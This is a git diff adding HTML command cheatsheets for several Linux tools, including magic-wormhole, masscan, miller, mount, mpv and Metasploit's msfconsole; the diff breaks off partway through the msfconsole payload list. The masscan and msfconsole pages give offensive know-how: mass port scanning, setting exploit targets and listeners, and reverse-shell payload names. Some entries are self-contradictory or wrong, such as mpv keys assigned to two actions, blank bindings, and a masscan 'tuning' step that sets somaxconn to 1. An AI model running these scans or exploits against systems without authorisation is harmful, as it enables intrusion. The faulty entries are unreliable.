
+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

magic-wormhole Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

magic-wormhole is a secure file transfer tool that uses a short passphrase to establish encrypted connections between two computers. No need to configure firewalls, port forwarding, or exchange keys manually.

+
+

Basic Usage

+
    +
  • wormhole send file.txt - Send file (generates code)
  • +
+
    +
  • wormhole receive CODE - Receive file with code
  • +
+
    +
  • wormhole send - Send from stdin
  • +
+
    +
  • wormhole receive CODE - Receive to stdout
  • +
+
+

Directory Transfer

+
    +
  • wormhole send -d directory/ - Send directory
  • +
+
    +
  • wormhole receive CODE - Receive directory
  • +
+
    +
  • wormhole send -d . - Send current directory
  • +
+
+

Text Transfer

+
    +
  • echo "text" | wormhole send - Send text
  • +
+
    +
  • wormhole receive CODE - Receive text
  • +
+
    +
  • wormhole send --text "message" - Send text message
  • +
+
+

Options

+
    +
  • -d, --directory - Send directory instead of file
  • +
+
    +
  • -t, --text - Send text message
  • +
+
    +
  • -c, --code - Specify code (for receive)
  • +
+
    +
  • -o, --output - Output file/directory name
  • +
+
    +
  • -v, --verbose - Verbose output
  • +
+
    +
  • --relay-url - Custom relay server URL
  • +
+
+

Common Examples

+

Send File

+
wormhole send document.pdf
+

Send file and get code to share.

+

Receive File

+
wormhole receive 7-crossover-clockwork
+

Receive file using code.

+

Send Directory

+
wormhole send -d project/
+

Send entire directory.

+

Send Text

+
echo "secret message" | wormhole send
+

Send text message.

+

Receive to Specific Location

+
wormhole receive -o received.pdf CODE
+

Receive file with custom name.

+
+

Tips

+
    +
  • Codes are single-use and expire after a few minutes
  • +
+
    +
  • No need to configure firewalls or port forwarding
  • +
+
    +
  • Uses PAKE (Password-Authenticated Key Exchange) for security
  • +
+
    +
  • Works through NAT and firewalls automatically
  • +
+
    +
  • Great for quick file transfers between machines
  • +
+
    +
  • Can send text, files, or directories
  • +
+
    +
  • Relay server is only used for initial connection setup
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/masscan.html b/cheatsheets/masscan.html new file mode 100644 index 0000000..f02e266 --- /dev/null +++ b/cheatsheets/masscan.html @@ -0,0 +1,255 @@ + + + + + + + + + + + masscan Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

masscan Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Masscan is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second. Uses asynchronous transmission for extreme speed.

+
+

Basic Usage

+
    +
  • masscan <target> -p<ports> - Basic port scan
  • +
+
    +
  • masscan 0.0.0.0/0 -p0-65535 - Scan entire internet (don't do this)
  • +
+
+

Target Specification

+
    +
  • masscan 192.168.1.0/24 - CIDR notation
  • +
+
    +
  • masscan 192.168.1.1-192.168.1.254 - IP range
  • +
+
    +
  • masscan -iL targets.txt - Read from file
  • +
+
    +
  • masscan --exclude 192.168.1.1 - Exclude IP
  • +
+
    +
  • masscan --excludefile exclude.txt - Exclude from file
  • +
+
+

Port Specification

+
    +
  • -p80 - Single port
  • +
+
    +
  • -p80,443,8080 - Multiple ports
  • +
+
    +
  • -p1-1000 - Port range
  • +
+
    +
  • -p0-65535 - All ports
  • +
+
    +
  • -pU:53 - UDP port
  • +
+
    +
  • -p80,U:53 - Mixed TCP/UDP
  • +
+
+

Rate Control

+
    +
  • --rate 1000 - Packets per second (default 100)
  • +
+
    +
  • --rate 10000 - 10k packets/sec
  • +
+
    +
  • --rate 100000 - 100k packets/sec (needs tuning)
  • +
+
    +
  • --max-rate 1000000 - Maximum rate limit
  • +
+
+

Output Options

+
    +
  • -oL output.txt - List output (default)
  • +
+
    +
  • -oX output.xml - XML output
  • +
+
    +
  • -oG output.gnmap - Grepable output
  • +
+
    +
  • -oJ output.json - JSON output
  • +
+
    +
  • -oB output.binary - Binary output
  • +
+
    +
  • --open - Only show open ports
  • +
+
+

Banner Grabbing

+
    +
  • --banners - Grab service banners
  • +
+
    +
  • --hello-string <base64> - Custom hello string
  • +
+
    +
  • --source-port 61000 - Set source port
  • +
+
+

Network Options

+
    +
  • -e eth0 - Specify interface
  • +
+
    +
  • --adapter-ip 192.168.1.100 - Source IP
  • +
+
    +
  • --adapter-mac 00:11:22:33:44:55 - Source MAC
  • +
+
    +
  • --router-mac 00:11:22:33:44:55 - Gateway MAC
  • +
+
    +
  • --ttl 64 - Set TTL value
  • +
+
+

Timing Options

+
    +
  • --wait 10 - Seconds to wait for replies (default 10)
  • +
+
    +
  • --retries 2 - Number of retries
  • +
+
    +
  • --seed <number> - Random seed for reproducibility
  • +
+
+

Resume and Config

+
    +
  • --resume paused.conf - Resume interrupted scan
  • +
+
    +
  • -c config.conf - Use config file
  • +
+
    +
  • --echo > config.conf - Save current settings to config
  • +
+
+

Common Examples

+

Quick Web Scan

+
masscan 192.168.1.0/24 -p80,443,8080 --rate 1000
+

Scan for web servers on local network.

+

Full Port Scan

+
masscan 192.168.1.0/24 -p1-65535 --rate 10000 -oL results.txt
+

All ports on network, save to file.

+

Banner Grabbing

+
masscan 192.168.1.0/24 -p22,80,443 --banners --rate 1000
+

Grab banners from common services.

+

Fast Class B Scan

+
masscan 10.0.0.0/16 -p80 --rate 100000 -oJ output.json
+

High-speed scan of large network.

+

UDP Scan

+
masscan 192.168.1.0/24 -pU:53,161,500 --rate 1000
+

Scan common UDP ports.

+

With Exclusions

+
masscan 10.0.0.0/8 -p80 --excludefile exclude.txt --rate 50000
+

Scan large range with exclusions.

+
+

Performance Tuning

+

For High-Speed Scanning

+
# Increase system limits
+echo 1 > /proc/sys/net/core/somaxconn
+sysctl -w net.core.rmem_max=16777216
+sysctl -w net.core.wmem_max=16777216
+
+# Use PF_RING for 10M+ packets/sec
+masscan --adapter-ip 192.168.1.100 --rate 1000000
+
+

Output Parsing

+

List Format

+
# Format: status state port proto ip timestamp
+open tcp 80 192.168.1.1 1234567890
+

Extract IPs from List

+
cat output.txt | grep open | awk '{print $4}'
+
+

Tips

+
    +
  • Start with low rates (1000) and increase gradually
  • +
+
    +
  • Use --wait to ensure you catch slow responses
  • +
+
    +
  • Always exclude sensitive/critical systems
  • +
+
    +
  • Use --resume for long scans that might interrupt
  • +
+
    +
  • Combine with nmap for detailed service detection
  • +
+
    +
  • masscan finds ports fast, nmap enumerates them
  • +
+
    +
  • May need root/sudo for raw socket access
  • +
+
    +
  • High rates can overwhelm networks - be careful
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/md5sum.html b/cheatsheets/md5sum.html new file mode 100644 index 0000000..04f4baa --- /dev/null +++ b/cheatsheets/md5sum.html @@ -0,0 +1,85 @@ + + + + + + + + + + + md5sum Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + ← Back to Cheatsheets + +

md5sum Cheatsheet

+
+
+
+
+

+ Quick reference for md5sum, a tool to compute and verify MD5 checksums. + MD5 is considered cryptographically broken; use it only for legacy integrity checks, not for security. +

+ +

Basic usage

+
    +
  • md5sum file.iso – print MD5 hash and filename.
  • +
  • md5sum file1 file2 file3 – hash multiple files.
  • +
  • echo -n "test" | md5sum – hash data from stdin.
  • +
+ +

Common options

+
    +
  • -b – read files in binary mode (default on Linux).
  • +
  • -t – read files in text mode (mainly for non-Unix systems).
  • +
  • -c – check MD5 sums from a file.
  • +
  • --tag – create BSD-style output (MD5 (file) = hash).
  • +
+ +

Creating and verifying checksum files

+
    +
  • md5sum file.iso > file.iso.md5 – save checksum.
  • +
  • md5sum file1 file2 > checksums.md5 – create checksum list.
  • +
  • md5sum -c file.iso.md5 – verify a single file.
  • +
  • md5sum -c checksums.md5 – verify multiple files.
  • +
+ +

Tips

+
    +
  • Use sha256sum or sha512sum for security-sensitive integrity checks.
  • +
  • When hashing from echo, remember -n to avoid including the newline.
  • +
  • Checksum files are just text; you can version them in git or share them alongside downloads.
  • +
+
+
+ + + + + + diff --git a/cheatsheets/miller.html b/cheatsheets/miller.html new file mode 100644 index 0000000..e675be1 --- /dev/null +++ b/cheatsheets/miller.html @@ -0,0 +1,240 @@ + + + + + + + + + + + miller Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

miller Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

miller (mlr) is like awk, sed, cut, join, and sort for name-indexed data such as CSV, TSV, and tabular JSON. Stream processing for structured data with powerful transformation capabilities.

+
+

Basic Usage

+
    +
  • mlr --csv cat file.csv - Read CSV
  • +
+
    +
  • mlr --tsv cat file.tsv - Read TSV
  • +
+
    +
  • mlr --json cat file.json - Read JSON
  • +
+
    +
  • mlr --csv head -n 10 file.csv - First 10 rows
  • +
+
    +
  • mlr --csv tail -n 10 file.csv - Last 10 rows
  • +
+
+

Field Selection

+
    +
  • mlr --csv cut -f field1,field2 file.csv - Select fields
  • +
+
    +
  • mlr --csv cut -x -f field1 file.csv - Exclude field
  • +
+
    +
  • mlr --csv cut -o -f field1 file.csv - Only field
  • +
+
    +
  • mlr --csv rename field1,newfield1 file.csv - Rename field
  • +
+
    +
  • mlr --csv rename -r 'old(.*)', 'new$1' file.csv - Rename with regex
  • +
+
+

Filtering

+
    +
  • mlr --csv filter '$field == "value"' file.csv - Equal filter
  • +
+
    +
  • mlr --csv filter '$field > 10' file.csv - Numeric filter
  • +
+
    +
  • mlr --csv filter '$field =~ "pattern"' file.csv - Regex filter
  • +
+
    +
  • mlr --csv filter '$field != "value"' file.csv - Not equal
  • +
+
    +
  • mlr --csv filter '$field1 == "a" && $field2 > 5' file.csv - Multiple conditions
  • +
+
    +
  • mlr --csv filter -x '$field == "value"' file.csv - Exclude matching
  • +
+
+

Transformation

+
    +
  • mlr --csv put '$new = $old * 2' file.csv - Add computed field
  • +
+
    +
  • mlr --csv put '$total = $price * $quantity' file.csv - Calculate
  • +
+
    +
  • mlr --csv put '$date = strftime($timestamp, "%Y-%m-%d")' file.csv - Format date
  • +
+
    +
  • mlr --csv put '$upper = toupper($field)' file.csv - String functions
  • +
+
    +
  • mlr --csv put '$len = length($field)' file.csv - String length
  • +
+
+

Sorting

+
    +
  • mlr --csv sort -f field1 file.csv - Sort by field
  • +
+
    +
  • mlr --csv sort -f field1,field2 file.csv - Sort by multiple fields
  • +
+
    +
  • mlr --csv sort -nr -f field1 file.csv - Reverse numeric sort
  • +
+
    +
  • mlr --csv sort -f field1 -t field2 file.csv - Sort then tie-break
  • +
+
+

Grouping & Aggregation

+
    +
  • mlr --csv stats1 -a count -f field1 -g category file.csv - Count by group
  • +
+
    +
  • mlr --csv stats1 -a sum -f amount -g category file.csv - Sum by group
  • +
+
    +
  • mlr --csv stats1 -a mean -f value -g category file.csv - Mean by group
  • +
+
    +
  • mlr --csv stats1 -a min,max -f value -g category file.csv - Min/max
  • +
+
    +
  • mlr --csv group-by category file.csv - Group records
  • +
+
+

Joining

+
    +
  • mlr --csv join -j field1 -f file1.csv file2.csv - Inner join
  • +
+
    +
  • mlr --csv join -j field1 -l file1.csv file2.csv - Left join
  • +
+
    +
  • mlr --csv join -j field1 -r file1.csv file2.csv - Right join
  • +
+
    +
  • mlr --csv join -j field1 -u file1.csv file2.csv - Full outer join
  • +
+
+

Format Conversion

+
    +
  • mlr --csv --json cat file.csv - CSV to JSON
  • +
+
    +
  • mlr --json --csv cat file.json - JSON to CSV
  • +
+
    +
  • mlr --csv --tsv cat file.csv - CSV to TSV
  • +
+
    +
  • mlr --csv --markdown cat file.csv - CSV to Markdown
  • +
+
+

Common Examples

+

Select Fields

+
mlr --csv cut -f name,email users.csv
+

Extract specific columns.

+

Filter Rows

+
mlr --csv filter '$status == "active"' users.csv
+

Filter by condition.

+

Add Field

+
mlr --csv put '$total = $price * $qty' orders.csv
+

Calculate new field.

+

Sort

+
mlr --csv sort -f date -nr sales.csv
+

Sort by date descending.

+

Group Statistics

+
mlr --csv stats1 -a sum -f amount -g category sales.csv
+

Sum by category.

+

Join Files

+
mlr --csv join -j user_id -f users.csv orders.csv
+

Join on common field.

+

Convert Format

+
mlr --csv --json cat data.csv > data.json
+

Convert CSV to JSON.

+

Multiple Operations

+
mlr --csv filter '$age > 18' then cut -f name,email then sort -f name users.csv
+

Chain operations with 'then'.

+
+

Tips

+
    +
  • Use --csv, --tsv, --json to specify input format
  • +
+
    +
  • Chain operations with 'then' keyword
  • +
+
    +
  • Use $field to reference fields in expressions
  • +
+
    +
  • Supports streaming for large files
  • +
+
    +
  • Great for data transformation pipelines
  • +
+
    +
  • More intuitive than awk for structured data
  • +
+
    +
  • Supports many statistical functions
  • +
+
    +
  • Excellent documentation and examples
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/mount.html b/cheatsheets/mount.html new file mode 100644 index 0000000..3d29b42 --- /dev/null +++ b/cheatsheets/mount.html @@ -0,0 +1,256 @@ + + + + + + + + + + + mount Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

mount Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

mount attaches a filesystem to the directory tree. Essential for accessing disks, partitions, network shares, and other storage devices.

+
+

Basic Usage

+
    +
  • mount - List all mounted filesystems
  • +
+
    +
  • mount /dev/sda1 /mnt - Mount device
  • +
+
    +
  • mount -t type /dev/sda1 /mnt - Specify filesystem type
  • +
+
    +
  • umount /mnt - Unmount filesystem
  • +
+
    +
  • umount -l /mnt - Lazy unmount
  • +
+
+

Common Options

+
    +
  • -t type - Filesystem type (ext4, ntfs, vfat, etc.)
  • +
+
    +
  • -o options - Mount options (comma-separated)
  • +
+
    +
  • -a - Mount all filesystems in /etc/fstab
  • +
+
    +
  • -r - Mount read-only
  • +
+
    +
  • -w - Mount read-write
  • +
+
    +
  • -v - Verbose output
  • +
+
    +
  • -n - Don't write to /etc/mtab
  • +
+
    +
  • -f - Fake mount (don't actually mount)
  • +
+
    +
  • -l - Show labels
  • +
+
    +
  • -h - Show help
  • +
+
+

Mount Options

+
    +
  • ro - Read-only
  • +
+
    +
  • rw - Read-write
  • +
+
    +
  • noexec - Don't allow execution
  • +
+
    +
  • nosuid - Ignore setuid bits
  • +
+
    +
  • nodev - Don't interpret device files
  • +
+
    +
  • sync - Synchronous I/O
  • +
+
    +
  • async - Asynchronous I/O
  • +
+
    +
  • atime - Update access time
  • +
+
    +
  • noatime - Don't update access time
  • +
+
    +
  • relatime - Relative access time
  • +
+
    +
  • remount - Remount filesystem
  • +
+
    +
  • bind - Bind mount
  • +
+
    +
  • loop - Loop device
  • +
+
    +
  • user - Allow users to mount
  • +
+
    +
  • users - Allow any user to mount/unmount
  • +
+
    +
  • nouser - Only root can mount
  • +
+
    +
  • defaults - Default options (rw,suid,dev,exec,auto,nouser,async)
  • +
+
+

Common Examples

+

List Mounts

+
mount
+

Show all mounted filesystems.

+

Mount Device

+
mount /dev/sda1 /mnt
+

Mount partition to directory.

+

Mount with Type

+
mount -t ext4 /dev/sda1 /mnt
+

Specify filesystem type.

+

Mount Read-Only

+
mount -r /dev/sda1 /mnt
+

Mount as read-only.

+

Mount with Options

+
mount -o ro,noexec /dev/sda1 /mnt
+

Mount with specific options.

+

Bind Mount

+
mount --bind /old/path /new/path
+

Create bind mount.

+

Mount Loop Device

+
mount -o loop image.iso /mnt
+

Mount ISO file.

+

Remount

+
mount -o remount,ro /mnt
+

Remount with new options.

+

Mount All

+
mount -a
+

Mount all filesystems from /etc/fstab.

+

Unmount

+
umount /mnt
+

Unmount filesystem.

+
+

Filesystem Types

+
    +
  • ext2, ext3, ext4 - Linux extended filesystems
  • +
+
    +
  • xfs - XFS filesystem
  • +
+
    +
  • btrfs - Btrfs filesystem
  • +
+
    +
  • vfat, fat32 - FAT filesystems
  • +
+
    +
  • ntfs - NTFS filesystem
  • +
+
    +
  • iso9660 - CD/DVD filesystem
  • +
+
    +
  • nfs - Network File System
  • +
+
    +
  • cifs, smbfs - SMB/CIFS filesystem
  • +
+
    +
  • tmpfs - Temporary filesystem
  • +
+
    +
  • proc - Proc filesystem
  • +
+
    +
  • sysfs - Sysfs filesystem
  • +
+
    +
  • devtmpfs - Device filesystem
  • +
+
+

Tips

+
    +
  • Use mount to list current mounts
  • +
+
    +
  • Use -t to specify filesystem type
  • +
+
    +
  • Use -o for mount options
  • +
+
    +
  • Use umount to unmount (not unmount)
  • +
+
    +
  • Use -l for lazy unmount if busy
  • +
+
    +
  • Check /etc/fstab for permanent mounts
  • +
+
    +
  • Essential for disk management
  • +
+
    +
  • Use mount -a to mount all from fstab
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/mpv.html b/cheatsheets/mpv.html new file mode 100644 index 0000000..3aaa2ba --- /dev/null +++ b/cheatsheets/mpv.html @@ -0,0 +1,475 @@ + + + + + + + + + + + mpv Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

mpv Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Basic Playback

+
    +
  • mpv <file> - Play a file
  • +
+
    +
  • mpv <url> - Play from URL
  • +
+
    +
  • mpv <file1> <file2> - Play multiple files
  • +
+
    +
  • mpv --playlist=<file> - Play playlist
  • +
+
    +
  • mpv --shuffle - Shuffle playlist
  • +
+
    +
  • mpv --loop=<N> - Loop N times (0 = infinite)
  • +
+
    +
  • mpv --loop-file=inf - Loop current file infinitely
  • +
+
+

Playback Controls

+

Space and Enter

+
    +
  • Space - Pause/Resume
  • +
+
    +
  • Enter - Pause/Resume (alternative)
  • +
+

Seeking

+
    +
  • ← - Seek backward 5 seconds
  • +
+
    +
  • → - Seek forward 5 seconds
  • +
+
    +
  • ↑ - Seek forward 60 seconds
  • +
+
    +
  • ↓ - Seek backward 60 seconds
  • +
+
    +
  • Ctrl+← - Seek backward 1 second
  • +
+
    +
  • Ctrl+→ - Seek forward 1 second
  • +
+
    +
  • [ - Decrease playback speed
  • +
+
    +
  • ] - Increase playback speed
  • +
+
    +
  • { - Halve playback speed
  • +
+
    +
  • } - Double playback speed
  • +
+
    +
  • Backspace - Reset playback speed
  • +
+
    +
  • , - Step backward frame
  • +
+
    +
  • . - Step forward frame
  • +
+

Volume

+
    +
  • - - Decrease volume
  • +
+
    +
  • + or = - Increase volume
  • +
+
    +
  • 9 - Decrease volume
  • +
+
    +
  • 0 - Increase volume
  • +
+
    +
  • m - Mute/Unmute
  • +
+

Playlist Navigation

+
    +
  • > - Next file in playlist
  • +
+
    +
  • < - Previous file in playlist
  • +
+
    +
  • p - Previous file in playlist (alternative)
  • +
+
    +
  • n - Next file in playlist (alternative)
  • +
+
    +
  • P - Show playlist
  • +
+
    +
  • j - Next entry in playlist
  • +
+
    +
  • J - Previous entry in playlist
  • +
+
+

Video

+
    +
  • f - Toggle fullscreen
  • +
+
    +
  • T - Toggle stay-on-top
  • +
+
    +
  • t - Toggle subtitle visibility
  • +
+
    +
  • s - Cycle through subtitles
  • +
+
    +
  • S - Cycle through subtitles (backward)
  • +
+
    +
  • v - Toggle subtitle visibility
  • +
+
    +
  • V - Toggle subtitle visibility (alternative)
  • +
+
    +
  • z - Adjust subtitle delay backward
  • +
+
    +
  • x - Adjust subtitle delay forward
  • +
+
    +
  • c - Cycle through audio tracks
  • +
+
    +
  • # - Cycle through audio tracks (alternative)
  • +
+
    +
  • b - Cycle through video tracks
  • +
+
    +
  • Ctrl+ - Cycle through video tracks (alternative)
  • +
+
+

Advanced Controls

+
    +
  • i - Show file information (press again for extended info)
  • +
+
    +
  • I - Show extended file information
  • +
+
    +
  • o - Show on-screen display (OSD)
  • +
+
    +
  • O - Show OSD (alternative)
  • +
+
    +
  • P - Show progress bar
  • +
+
    +
  • d - Cycle through deinterlacing modes
  • +
+
    +
  • D - Cycle through deinterlacing modes (backward)
  • +
+
    +
  • r - Cycle through aspect ratio
  • +
+
    +
  • A - Cycle through aspect ratio (backward)
  • +
+
    +
  • Ctrl+ - Cycle through video filters
  • +
+
    +
  • Ctrl+ - Cycle through video filters (backward)
  • +
+
+

Screenshots

+
    +
  • s - Take screenshot (with subtitles)
  • +
+
    +
  • S - Take screenshot (without subtitles)
  • +
+
    +
  • Ctrl+s - Take screenshot (with subtitles, alternative)
  • +
+
    +
  • Ctrl+S - Take screenshot (without subtitles, alternative)
  • +
+
+

Audio

+
    +
  • 1 - Decrease audio delay
  • +
+
    +
  • 2 - Increase audio delay
  • +
+
    +
  • Ctrl+ - Cycle through audio filters
  • +
+
    +
  • Ctrl+ - Cycle through audio filters (backward)
  • +
+
+

Window Management

+
    +
  • q - Quit mpv
  • +
+
    +
  • Q - Quit mpv (save position)
  • +
+
    +
  • ESC - Quit mpv
  • +
+
    +
  • Ctrl+q - Force quit
  • +
+
    +
  • w - Toggle window decorations
  • +
+
    +
  • W - Toggle window decorations (alternative)
  • +
+
+

Command Line Options

+

Playback

+
    +
  • --start=<time> - Start at specific time (e.g., --start=30 or --start=0:30)
  • +
+
    +
  • --end=<time> - End at specific time
  • +
+
    +
  • --length=<time> - Play for specific duration
  • +
+
    +
  • --speed=<factor> - Set playback speed (e.g., --speed=1.5)
  • +
+
    +
  • --volume=<0-100> - Set initial volume
  • +
+
    +
  • --mute - Start muted
  • +
+
    +
  • --fullscreen or -fs - Start in fullscreen
  • +
+
    +
  • --no-fullscreen - Don't allow fullscreen
  • +
+

Video

+
    +
  • --vo=<driver> - Video output driver (e.g., --vo=gpu, --vo=xv)
  • +
+
    +
  • --vf=<filter> - Video filter (e.g., --vf=scale=1920:1080)
  • +
+
    +
  • --hwdec=<api> - Hardware decoding (e.g., --hwdec=vaapi, --hwdec=nvdec)
  • +
+
    +
  • --no-video - Disable video output
  • +
+
    +
  • --video-aspect=<ratio> - Set aspect ratio (e.g., --video-aspect=16:9)
  • +
+

Audio

+
    +
  • --ao=<driver> - Audio output driver
  • +
+
    +
  • --af=<filter> - Audio filter
  • +
+
    +
  • --no-audio - Disable audio
  • +
+
    +
  • --audio-channels=<channels> - Set audio channels
  • +
+

Subtitles

+
    +
  • --sub-file=<file> - Load subtitle file
  • +
+
    +
  • --sub-delay=<sec> - Subtitle delay in seconds
  • +
+
    +
  • --sub-scale=<factor> - Subtitle scale factor
  • +
+
    +
  • --sub-pos=<0-100> - Subtitle position (0=top, 100=bottom)
  • +
+
    +
  • --sub-color=<color> - Subtitle color
  • +
+
    +
  • --sub-font=<font> - Subtitle font
  • +
+

Playlist

+
    +
  • --playlist-start=<index> - Start at playlist index
  • +
+
    +
  • --shuffle - Shuffle playlist
  • +
+
    +
  • --loop-file=<N> - Loop file N times
  • +
+
    +
  • --loop-playlist=<N> - Loop playlist N times
  • +
+

Advanced

+
    +
  • --config-dir=<path> - Use custom config directory
  • +
+
    +
  • --input-conf=<file> - Use custom input config
  • +
+
    +
  • --script=<file> - Load Lua script
  • +
+
    +
  • --ytdl-format=<format> - YouTube-DL format selection
  • +
+
    +
  • --cache=<size> - Cache size in KB
  • +
+
    +
  • --no-cache - Disable cache
  • +
+
    +
  • --profile=<name> - Use profile from config
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/mpv/mpv.conf (main config)
  • +
+
    +
  • ~/.config/mpv/input.conf (input bindings)
  • +
+

Common Settings

+
# Video
+vo=gpu
+hwdec=vaapi
+
+# Audio
+audio-device=auto
+
+# Subtitles
+sub-auto=fuzzy
+sub-file-paths=subs:subtitles
+
+# Playback
+save-position-on-quit
+watch-later-options=start
+
+# Interface
+osd-level=1
+osd-duration=2000
+
+# Performance
+cache=yes
+cache-secs=60
+
+

Example Key Bindings

+
# Custom seek
+LEFT seek -5
+RIGHT seek 5
+UP seek 60
+DOWN seek -60
+
+# Custom volume
+KP0 add volume -2
+KP1 add volume 2
+
+# Custom playlist
+Ctrl+LEFT playlist-prev
+Ctrl+RIGHT playlist-next
+
+

Tips

+
    +
  • Use mpv --list-options to see all available options
  • +
+
    +
  • Use mpv --list-properties to see all properties
  • +
+
    +
  • Use mpv --input-conf=<file> to test input configs
  • +
+
    +
  • Use mpv --profile=<name> for different use cases
  • +
+
    +
  • Use mpv --ytdl-format=best for YouTube videos
  • +
+
    +
  • Use mpv --no-video for audio-only playback
  • +
+
    +
  • Use mpv --loop=inf for continuous playback
  • +
+
    +
  • Use mpv --shuffle with playlists for random order
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/msfconsole.html b/cheatsheets/msfconsole.html new file mode 100644 index 0000000..1eebefa --- /dev/null +++ b/cheatsheets/msfconsole.html @@ -0,0 +1,379 @@ + + + + + + + + + + + msfconsole Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

msfconsole Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

msfconsole is the primary interface to the Metasploit Framework - the world's most used penetration testing tool. It provides exploit development, payload generation, post-exploitation, and much more.

+
+

Starting Metasploit

+
    +
  • msfconsole - Start console
  • +
+
    +
  • msfconsole -q - Quiet mode (no banner)
  • +
+
    +
  • msfconsole -r script.rc - Run resource script
  • +
+
    +
  • msfconsole -x "commands" - Execute commands
  • +
+
+

Core Commands

+
    +
  • help - Show help
  • +
+
    +
  • search <term> - Search modules
  • +
+
    +
  • use <module> - Select module
  • +
+
    +
  • info - Module information
  • +
+
    +
  • show options - Show required options
  • +
+
    +
  • show advanced - Show advanced options
  • +
+
    +
  • set <option> <value> - Set option
  • +
+
    +
  • setg <option> <value> - Set global option
  • +
+
    +
  • unset <option> - Clear option
  • +
+
    +
  • run / exploit - Execute module
  • +
+
    +
  • back - Exit current module
  • +
+
    +
  • exit - Quit msfconsole
  • +
+
+

Search Syntax

+
    +
  • search <term> - Basic search
  • +
+
    +
  • search type:exploit <term> - By type
  • +
+
    +
  • search platform:windows - By platform
  • +
+
    +
  • search name:smb - By name
  • +
+
    +
  • search cve:2021 - By CVE year
  • +
+
    +
  • search author:hdm - By author
  • +
+
    +
  • search rank:excellent - By rank
  • +
+

Module Types

+
    +
  • exploit - Exploitation modules
  • +
  • auxiliary - Scanning, fuzzing, etc.
  • +
  • post - Post-exploitation
  • +
  • payload - Payloads (shellcode)
  • +
  • encoder - Payload encoders
  • +
  • nop - NOP generators
  • +
  • evasion - Evasion modules
  • +
+
+

Module Commands

+
    +
  • show exploits - List exploits
  • +
+
    +
  • show auxiliary - List auxiliary
  • +
+
    +
  • show payloads - List payloads (context-aware)
  • +
+
    +
  • show encoders - List encoders
  • +
+
    +
  • show targets - Show exploit targets
  • +
+
    +
  • show options - Current module options
  • +
+
    +
  • check - Check if target is vulnerable
  • +
+
+

Payload Options

+
    +
  • set PAYLOAD <payload> - Set payload
  • +
+
    +
  • set LHOST <ip> - Local host (listener)
  • +
+
    +
  • set LPORT <port> - Local port (listener)
  • +
+
    +
  • set RHOST <ip> - Remote host (target)
  • +
+
    +
  • set RHOSTS <ip/range> - Remote hosts
  • +
+
    +
  • set RPORT <port> - Remote port
  • +
+
+

Common Payloads

+

Windows

+
    +
  • windows/meterpreter/reverse_tcp
  • +
  • windows/meterpreter/reverse_https
  • +
  • windows/shell/reverse_tcp
  • +
  • windows/x64/meterpreter/reverse_tcp
  • +
+

Linux

+
    +
  • linux/x86/meterpreter/reverse_tcp
  • +
